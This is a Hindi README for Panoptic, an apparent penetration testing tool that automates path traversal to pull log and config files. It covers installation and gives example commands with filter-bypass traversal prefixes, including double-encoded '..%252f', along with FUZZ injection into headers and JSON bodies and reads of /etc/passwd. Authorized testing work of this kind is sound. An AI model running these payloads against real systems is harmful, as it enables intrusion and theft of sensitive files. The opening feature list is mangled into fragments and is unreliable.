
Panoptic एक ओपन सोर्स पेनेट्रेशन टेस्टिंग टूल है जो पाथ ट्रैवर्सल कमजोरियों के माध्यम से सामान्य लॉग और कॉन्फ़िग फ़ाइलों के लिए सामग्री की खोज और पुनर्प्राप्ति की प्रक्रिया को स्वचालित करता है।

Panoptic एक ओपन सोर्स पेनेट्रेशन टेस्टिंग टूल है जो पाथ ट्रैवर्सल कमज़ोरियों के माध्यम से सामान्य लॉग और कॉन्फ़िग फ़ाइलों की खोज और प्राप्ति को स्वचालित करता है।

--concurrency)--header
या --data मान में FUZZ रखें--base64)/etc/passwd को पार्स करें, बिनलॉग फ़ाइलों के लिए
mysql-bin.index को--output-format)--resume-file)--config)0600
अनुमतियों के साथ सुरक्षित किया गया, और जहाँ OS समर्थन करता है
वहाँ अंतिम-घटक सिमलिंक सुरक्षा--update)Panoptic को pipx के साथ इंस्टॉल करें। यह
panoptic कमांड को आपके PATH पर रखता है और Panoptic की निर्भरताओं
को सिस्टम Python से अलग रखता है।
Kali, Debian या Ubuntu पर:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
macOS पर, Homebrew के साथ:
brew install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
Windows पर, Python और Git इंस्टॉल होने के साथ:
py -m pip install --user pipx
py -m pipx ensurepath
py -m pipx install git+https://github.com/lightos/Panoptic.git
फिर एक नया टर्मिनल खोलें और जाँचें कि यह काम करता है:
panoptic --version
pipx upgrade panoptic से अपडेट करें। pip install panoptic न चलाएँ: वह
PyPI नाम किसी असंबंधित प्रोजेक्ट का है।
यदि आपका सिस्टम Python 3.11 से पुराना है (उदाहरण के लिए Ubuntu 22.04 पर), तो इसके बजाय uv का उपयोग करें। यह स्वयं एक उपयुक्त Python डाउनलोड कर लेता है:
curl -LsSf https://astral.sh/uv/install.sh | sh
source "$HOME/.local/bin/env"
uv tool install git+https://github.com/lightos/Panoptic.git
फिर एक नया टर्मिनल खोलें और panoptic --version चलाएँ। uv tool upgrade panoptic से अपडेट करें।
किसी क्लोन से Panoptic चलाने के लिए, उदाहरण के लिए उस पर काम करने हेतु, इसे checkout के अंदर एक वर्चुअल एनवायरनमेंट में इंस्टॉल करें। Debian और Ubuntu पर, इसके लिए पहले sudo apt install python3-venv की आवश्यकता होती है।
git clone https://github.com/lightos/Panoptic.git
cd Panoptic
python3 -m venv .venv
.venv/bin/python -m pip install -e ".[dev]"
.venv/bin/panoptic --version
इसे .venv/bin/panoptic के रूप में चलाएँ, या प्रत्येक नए टर्मिनल में panoptic और python panoptic.py को सीधे उपयोग करने के लिए source .venv/bin/activate चलाएँ। Windows पर, इसके बजाय .venv\Scripts\python और .venv\Scripts\panoptic का उपयोग करें। editable इंस्टॉल Panoptic को checkout से जुड़ा रखता है, इसलिए panoptic --update इसे यथास्थान अपडेट कर सकता है।
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt&id=1" \
--param file
panoptic --url "http://target/include.php" \
--data "file=test.txt&id=1" --param file
फ़ाइल पथ URL पथ के अंतिम खंड को प्रतिस्थापित करता है। ../ जैसे ट्रैवर्सल अनुक्रम ठीक वैसे ही भेजे जाते हैं जैसे लिखे गए हैं। Panoptic उन्हें सामान्यीकृत करके हटाता नहीं है, हालाँकि लक्ष्य सर्वर ऐसा कर सकता है।
panoptic --url "http://target/view.php/test.txt" --path-based
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "../" --multiplier 6
panoptic --url "http://target/load.php?file=dGVzdC50eHQ=" \
--base64 --auto
panoptic --url "http://target/page.php" \
--header "Cookie: lang=FUZZ" --auto
panoptic --url "http://target/api/load" \
--data '{"file":"FUZZ"}' --auto
panoptic --url "http://target/page.php" \
--header "X-Template: FUZZ" --auto
panoptic --url "http://target/view.php?file=test&type=txt" \
--param file --ext-param type
panoptic --url "http://target/filtered.php?file=test.txt" \
--prefix "....//....//....//....//"
प्रीफ़िक्स ठीक वैसे ही भेजे जाते हैं जैसे दिए गए हैं, इसलिए एन्कोडेड ट्रैवर्सल अनुक्रम
लक्ष्य तक बिना बदलाव के पहुँचते हैं। उदाहरण के लिए, ..%252f में डॉट्स शाब्दिक हैं और
केवल स्लैश दोहरा-एन्कोडेड है: पहला डिकोड %252f को %2f में बदल देता है, इसलिए एक बार डिकोड करने वाला फ़िल्टर कोई ../ नहीं देखता, और एप्लिकेशन द्वारा दूसरा डिकोड इसे / में बदल देता है:
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "..%252f" --multiplier 6
%2e%2e%2f जैसा एकल रूप से एन्कोड किया गया प्रीफ़िक्स एक डिकोड के बाद ../ बन जाता है। यह केवल उन फ़िल्टरों के विरुद्ध सहायक होता है जो कच्चे, अनडिकोड किए गए अनुरोध का निरीक्षण करते हैं:
panoptic --url "http://target/include.php?file=test.txt" \
--prefix "%2e%2e%2f" --multiplier 6
panoptic --url "http://target/include.php?file=test.txt" \
--os "*NIX" --type conf
panoptic --url "http://target/include.php?file=test.txt" \
--software PostgreSQL
panoptic --url "http://target/include.php?file=test.txt" \
--output-format json --output-file results.json \
--resume-file scan.checkpoint